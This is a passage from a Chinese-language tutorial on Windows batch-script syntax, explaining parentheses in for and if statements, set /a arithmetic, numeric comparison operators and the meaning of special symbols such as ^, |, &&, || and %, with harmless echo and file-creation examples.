(语句2):在这条语句中,语句1必须用括号对包围,而语句2的括号对则可视情况予以抛弃或保留:如果语句2是单条语句或用&、& &、||等连接符号连接的多条语句,括号对可以抛弃,如果语句2是有逻辑先后关系的多条语句集合,则必须保留括号对,并且,多条语句必须断行书写;例如: @echo off for %%i in (a b c) do echo %%i&echo -------- pause 也可以改写为: @echo off for %%i in (a b c) do ( echo %%i &echo -------- ) pause ② if 条件 (语句1) else (语句2):如果没有else部分,则语句1的括号对可有可无;如果有else部分,则语句1中的括号对必须保留,此时,语句2中的括号对保留与否,和上一点类似。例如: @echo off if exist test.txt echo 当前目录下有test.txt pause @echo off if exist test.txt (echo 当前目录下有test.txt) else echo 当前目录下没有test.txt pause @echo off if exist test.txt (echo 当前目录下有test.txt) else ( echo 当前目录下没有test.txt pause cls echo 即将创建test.txt文件 cd.>test.txt&&echo 成功创建test.txt ) pause ③ 特定场合下使用括号对,不但可以使代码逻辑清晰,增强可读性,还可能会减少代码量。比如用echo语句构造多行文本内容的时候: @echo off ( echo 第一行 echo 第二行 echo 第三行 )>test.txt start test.txt 如果不使用括号对的话,则需要使用如下代码: @echo off echo 第一行>test.txt echo 第二行>>test.txt echo 第三行>>test.txt start test.txt 11、+、-、*、/ 在 set /a 语句中,这些符号的含义分别为:加、减、乘、除。例如:set /a num=1+2-3*4/5。需要注意的是,这些运算符号遵循数学运算中的优先级顺序:先乘除后加减,有括号的先算括号,并且,直接忽略小数点,因此,刚才那个算式的结果是1而不是0或0.6。 另外,有可能会在代码中看到这样的写法:set /a num+=1、set /a num-=1、set /a num*=1 和 set /a num/=1,这些表示累加、累减、累乘、累除,步长都是1,展开后的完整写法为:set /a num=num+1、set /a num=num-1、set /a num=num*1 和 set /a num=num/1(set /a 语句中,变量引用可以忽略百分号对或感叹号对,set /a num=%num%+1 与 set /a num=num+1 等同) 12、equ、neq、lss、leq、gtr、geq 这几个命令符是if语句中常用到的数值比较符号,取自英文的关键字母,具体的含义为: 命令符号 含义 英文解释 EQU 等于 equal NEQ 不等于 not equal LSS 少于 less than LEQ 少于或等于 less than or equal GTR 大于 greater than GEQ 大于或等于 greater than or equal
^ 转义符 用在特殊符号之前 比如: echo 非常^&批处理 如果不加^ 那么"批处理"将被当作命令执行
| (管道)传递符 当然是传递作用 比如: echo 0123456 | find "123" 将0123456 传递给find 查找 123
|| 连接符 当前面的命令没有成功执行 则执行后面的命令 比如: echo 0123456 | find "789" || echo 字符中没有789
&& 连接符 当前面的命令成功执行 再执行后面的命令 比如: echo 0123456 | find "123" && echo 字符中含有123
& 连接符 无论前面的命令是否成功执行 都执行后面的 比如: echo 0123456 | find "789" & echo 字符中含有123 虽然没有成功到789 但还是会执行echo 命令
一、单符号 ~ ① 在for中表示使用增强的变量扩展。 ② 在%var:~n,m%中表示使用扩展环境变量指定位置的字符串。 ③ 在set/a中表示一元运算符,将操作数按位取反。
! ① 在set /a中一元运算符,表示逻辑非。比如set /a a=!0,这时a就表示逻辑1。
@ ① 隐藏命令行本身的回显,常用于批处理中。
$ ① 在findstr命令里面表示一行的结束。 ② 在prompt命令里面,表示将其后的字符转义(符号化或者效果化)。
% ① 在set /a中的二元运算符,表示算术取余。 ② 命令行环境下,在for命令in前,后面接一个字符(可以是字母、数字或者一些特定字符),表示指定一个循环或者遍历指标变量。 ③ 批处理中,后接一个数字表示引用本批处理当前执行时的指定的参数。 ④ 其它情况下,%将会被脱去(批处理)或保留(命令行)
^ ① 取消特定字符的转义作用,比如& | > < ! "等,但不包括%。比如要在屏幕显示一些特殊的字符,比如> >> | ^ &等符号时,就可以在其前面加一个^符号来显示这个^后面的字符了,^^就是显示一个^,^|就是显示一个|字符了; ② 在set/a中的二元运算符,表示按位异或。 ③ 在findstr/r的[]中表示不匹配指定的字符集。
& ① 命令连接字符。比如我要在一行文本上同时执行两个命令,就可以用&命令连接这两个命令。 ② 在set/a中是按位与。
* ① 代表任意个任意字符,就是我们通常所说的"通配符";比如想在c盘的根目录查找c盘根目录里所有的文本文件(.txt),那么就可以输入命令"dir c:\*.txt"。 ② 在set /a中的二元运算符,表示算术乘法。 ③ 在findstr/r中表示将前一个字符多次匹配。
- ① 范围表示符,比如日期的查找,for命令里的tokens操作中就可以用到这个字符。 ② 在findstr/r中连接两个字符表示匹配范围。 ③ -跟在某些命令的/后表示取反向的开关。 ④ 在set /a中: 1.表示一个负数。 2.表示算术减运算。
+ ① 主要是在copy命令里面会用到它,表示将很多个文件合并为一个文件,就要用到这个+字符了。 ② 在set/a中的二元运算符,表示算术加法。